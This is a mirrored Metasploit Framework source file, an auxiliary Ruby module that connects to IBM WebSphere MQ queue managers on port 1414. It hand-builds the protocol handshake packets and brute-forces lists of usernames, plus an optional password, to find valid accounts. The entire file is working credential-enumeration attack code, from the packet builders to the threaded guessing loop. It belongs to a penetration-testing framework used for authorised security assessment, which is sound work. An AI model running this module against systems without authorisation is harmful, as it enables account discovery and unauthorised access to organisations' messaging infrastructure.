CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/ibm_mq_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Scanner
10
include Msf::Auxiliary::Report
11
12
def initialize
13
super(
14
'Name' => 'IBM WebSphere MQ Login Check',
15
'Description' => 'This module can be used to bruteforce usernames that can be used to connect to a queue manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.',
16
'Author' => 'Petros Koutroumpis',
17
'License' => MSF_LICENSE
18
)
19
register_options([
20
Opt::RPORT(1414),
21
OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 5]),
22
OptInt.new('CONCURRENCY', [true, "The number of usernames to check concurrently", 10]),
23
OptString.new('QUEUE_MANAGER', [true, "Queue Manager name to use" ,""]),
24
OptString.new('CHANNEL', [true, "Channel to use" ,"SYSTEM.ADMIN.SVRCONN"]),
25
OptString.new('PASSWORD', [false, "Optional password to attempt with login"]),
26
OptPath.new('USERNAMES_FILE',
27
[ true, "The file that contains a list of usernames. UserIDs are case insensitive!"]
28
)])
29
#deregister_options('THREADS')
30
end
31
32
def run_host(ip)
33
@usernames = []
34
if datastore['CHANNEL'].length.to_i > 20
35
print_error("Channel name cannot be more that 20 characters.")
36
exit
37
end
38
if datastore['QUEUE_MANAGER'].length.to_i > 48
39
print_error("Queue Manager name cannot be more that 48 characters.")
40
exit
41
end
42
begin
43
username_list
44
rescue ::Rex::ConnectionError
45
rescue ::Exception => e
46
print_error("#{e} #{e.backtrace}")
47
end
48
print_line
49
if(@usernames.empty?)
50
print_status("#{ip}:#{rport} No valid users found.")
51
else
52
print_good("#{ip}:#{rport} Valid usernames found: #{@usernames}")
53
report_note(
54
:host => rhost,
55
:port => rport,
56
:type => 'mq.usernames'
57
)
58
print_line
59
end
60
end
61
62
def first_packet(channel,qm_name)
63
init1 = "\x54\x53\x48\x20" + # StructId
64
"\x00\x00\x01\x0c" + # MQSegmLen
65
"\x01" + # ByteOrder
66
"\x01" + # SegmType
67
"\x31" + # CtlFlag1
68
"\x00" + # CtlFlag2
69
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
70
"\x00\x00\x01\x11" + # Encoding
71
"\x04\xb8" + # CCSID
72
"\x00\x00" + # Reserved
73
"\x49\x44\x20\x20" + # StructId
74
"\x0d" + # FAPLevel
75
"\x26" + # CapFlag1
76
"\x00" + # ECapFlag1
77
"\x00" + # InierrFlg1
78
"\x00\x00" + # ReserveD
79
"\x00\x00" + # MaxMsgBtch
80
"\x00\x00\x7f\xec" + # MaxTrSize
81
"\x06\x40\x00\x00" + # MaxMsgSize
82
"\x00\x00\x00\x00" + # SeqWrapVal
83
channel + # Channel Name
84
"\x51" + # CapFlag2
85
"\x00" + # ECapFlag2
86
"\x04\xb8" + # ccsid
87
qm_name + # Queue Manager Name
88
"\x00\x00\x00\x01" + # HBInterval
89
"\x00\x8a" + # EFLLength
90
"\x00" + # IniErrFlg2
91
"\x00" + # Reserved1
92
"\x00\xff" + # HdrCprsLst
93
"\x00\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst1
94
"\xff\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst2
95
"\x00\x00" + # Reserved2
96
"\x00\x00\x00\x00" + # SSLKeyRst
97
"\x00\x00\x00\x0a" + # ConvBySkt
98
"\x08" + # CapFlag3
99
"\x00" + # ECapFlag3
100
"\x00\x00" + # Reserved3
101
"\x00\x00\x00\x00" + # ProcessId
102
"\x00\x00\x00\x00" + # ThreadId
103
"\x00\x00\x00\x1b" + # TraceId
104
"MQMM09000000" + # ProdId
105
"MQMID" + "\x20"*43 + # MQM ID
106
"\x00\x01\x00\x00\xff\xff\xff\xff" +# Unknown1
107
"\xff\xff\xff\xff\xff\xff\xff\xff" +# Unknown2
108
"\xff\xff\xff\xff\xf1\x18\xa6\x93" +# Unknown3
109
"\x2b\x8a\x44\x3c\x67\x53\x73\x08" # Unknown4
110
end
111
112
def second_packet(channel,qm_name)
113
init2 = "\x54\x53\x48\x4d" + # StructId
114
"\x00\x00\x00\xf4" + # MQSegmLen
115
"\x00\x00\x00\x01" + # Convers Id
116
"\x00\x00\x00\x00" + # Request Id
117
"\x02" + # ByteOrder
118
"\x01" + # SegmType
119
"\x31" + # CtlFlag1
120
"\x00" + # CtlFlag2
121
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
122
"\x11\x01\x00\x00" + # Encoding
123
"\xb5\x01" + # CCSID
124
"\x00\x00" + # Reserved
125
"\x49\x44\x20\x20" + # StructId
126
"\x0c" + # FAPLevel
127
"\x26" + # CapFlag1
128
"\x00" + # ECapFlag1
129
"\x00" + # IniErrFlg1
130
"\x00\x00" + # Reserved
131
"\x00\x00" + # MaxMsgBtch
132
"\xec\x7f\x00\x00" + # MaxTrSize
133
"\x00\x00\x40\x00" + # MaxMsgSize
134
"\x00\x00\x00\x00" + # SeqWrapVal
135
channel + # Channel Name
136
"\x51" + # CapFlag2
137
"\x00" + # ECapFlag2
138
"\xb5\x01" + # ccsid
139
qm_name + # Queue Manager Name
140
"\x2c\x01\x00\x00" + # HBInterval
141
"\x8a\x00" + # EFLLength
142
"\x00" + # IniErrFlg2
143
"\x00" + # Reserved1
144
"\x00\xff" + # HdrCprsLst
145
"\x00\xff\xff\xff\xff\xff\xff" + # MsgCprsLst1
146
"\xff\xff\xff\xff\xff\xff\xff" + # MsgCprsLst2
147
"\xff\xff" + # MsgCprsLst3
148
"\x00\x00" + # Reserved2
149
"\x00\x00\x00\x00" + # SSLKeyRst
150
"\x0a\x00\x00\x00" + # ConvBySkt
151
"\x00" + # CapFlag3
152
"\x00" + # ECapFlag3
153
"\x00\x00" + # Reserved3
154
"\x00\x00\x00\x00" + # ProcessId
155
"\x00\x00\x00\x00" + # ThreadId
156
"\x1b\x00\x00\x00" + # TraceId
157
"MQMM09000000" + # ProdId
158
"MQMID" + "\x20"*43 # MQM ID
159
end
160
161
def send_userid(userid,uname)
162
163
if datastore['PASSWORD'].nil?
164
password = "\x00" * 12
165
else
166
password = datastore['PASSWORD']
167
if (password.length > 12)
168
print_warning("Passwords greater than 12 characters are unsupported. Truncating...")
169
password = password[0..12]
170
end
171
password = password + ( "\x00" * (12-password.length) )
172
end
173
vprint_status("Using password: '#{password}' (Length: #{password.length})")
174
175
send_userid = "\x54\x53\x48\x4d" + # StructId
176
"\x00\x00\x00\xa8" + # MQSegmLen
177
"\x00\x00\x00\x01" + # Convers ID
178
"\x00\x00\x00\x00" + # Request ID
179
"\x02" + # Byte Order
180
"\x08" + # SegmType
181
"\x30" + # CtlFlag1
182
"\x00" + # CtlFlag2
183
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
184
"\x11\x01\x00\x00" + # Encoding
185
"\xb5\x01" + # CCSID
186
"\x00\x00" + # Reserved
187
"\x55\x49\x44\x20" + # StructId
188
userid + # UserId - Doesnt affect anything
189
password + # Password
190
uname + # Long UID - This matters!
191
"\x00" + # SID Len
192
"\x00" * 39 # Unknown
193
end
194
195
def start_conn(qm_name)
196
start_conn = "\x54\x53\x48\x4d" + # StructId
197
"\x00\x00\x01\x38" + # MQSegmLen
198
"\x00\x00\x00\x01" + # Convers ID
199
"\x00\x00\x00\x00" + # Request ID
200
"\x02" + # Byte Order
201
"\x81" + # SegmType
202
"\x30" + # CtlFlag1
203
"\x00" + # CtlFlag2
204
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
205
"\x11\x01\x00\x00" + # Encoding
206
"\xb5\x01" + # CCSID
207
"\x00\x00" + # Reserved
208
"\x00\x00\x01\x38" + # Reply Len
209
"\x00\x00\x00\x00" + # Compl Code
210
"\x00\x00\x00\x00" + # Reason Code
211
"\x00\x00\x00\x00" + # Object Hdl
212
qm_name + # Queue Manager Name
213
"\x4d\x51\x20\x45\x78\x70\x6c" + # Appl Name
214
"\x6f\x72\x65\x72\x20\x39\x2e" + # Appl Name
215
"\x30\x2e\x30\x20\x20\x20\x20" + # Appl Name
216
"\x20\x20\x20\x20\x20\x20\x20" + # Appl Name
217
"\x1c\x00\x00\x00" + # ApplType
218
"\x00" * 32 + # AccntTok
219
"\x03\x00\x00\x00" + # MQCONNX
220
"\x00\x00\x00\x00" + # Options
221
"\x46\x43\x4e\x4f" + # Struct ID
222
"\x02\x00\x00\x00" + # Version
223
"\x00\x00\x00\x00" + # Option
224
"\x4d\x51\x4a\x42\x30\x39\x30" + # msgid
225
"\x30\x30\x30\x30\x34" + # msgid
226
"MQM" + "\x20" * 45 + # MqmId
227
"\x00" * 68 # Unknown
228
end
229
230
def username_list
231
username_data = get_usernames
232
while (username_data.length > 0)
233
t = []
234
r = []
235
begin
236
1.upto(datastore['CONCURRENCY']) do
237
this_username = username_data.shift
238
if this_username.nil?
239
next
240
end
241
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_username) do |username|
242
connect
243
vprint_status "#{rhost}:#{rport} - Sending request for #{username}..."
244
channel = datastore['CHANNEL']
245
if channel.length > 20
246
print_error("Channel name must be less than 20 characters.")
247
next
248
end
249
channel += "\x20" * (20-channel.length.to_i) # max channel name length is 20
250
qm_name = datastore['QUEUE_MANAGER']
251
if qm_name.length > 48
252
print_error("Queue Manager name must be less than 48 characters.")
253
next
254
end
255
qm_name += "\x20" * (48-qm_name.length.to_i) # max queue manager name length is 48
256
if username.length > 12
257
print_error("Username must be less than 12 characters.")
258
next
259
end
260
uname = username + "\x20" * (64-username.length.to_i)
261
userid = username + "\x20" * (12 - username.length.to_i) # this doesnt make a difference
262
timeout = datastore['TIMEOUT'].to_i
263
s = connect(false,
264
{
265
'RPORT' => rport,
266
'RHOST' => rhost,
267
}
268
)
269
s.put(first_packet(channel,qm_name))
270
first_response = s.get_once(-1,timeout)
271
if first_response[-4..-1] == "\x00\x00\x00\x02" # CHANNEL_WRONG_TYPE code
272
print_error("Channel needs to be MQI type!")
273
next
274
end
275
s.put(second_packet(channel,qm_name))
276
second_response = s.get_once(-1,timeout)
277
s.put(send_userid(userid,uname))
278
s.put(start_conn(qm_name))
279
data = s.get_once(-1,timeout)
280
if data[41..44] == "\x00\x00\x00\x00"
281
print_status("Found username: #{username}")
282
@usernames << username
283
end
284
disconnect
285
end
286
end
287
t.each {|x| x.join }
288
end
289
end
290
end
291
292
def get_usernames
293
if(! @common)
294
File.open(datastore['USERNAMES_FILE'], "rb") do |fd|
295
data = fd.read(fd.stat.size)
296
@common = data.split(/\n/).compact.uniq
297
end
298
end
299
@common
300
end
301
302
end
303
304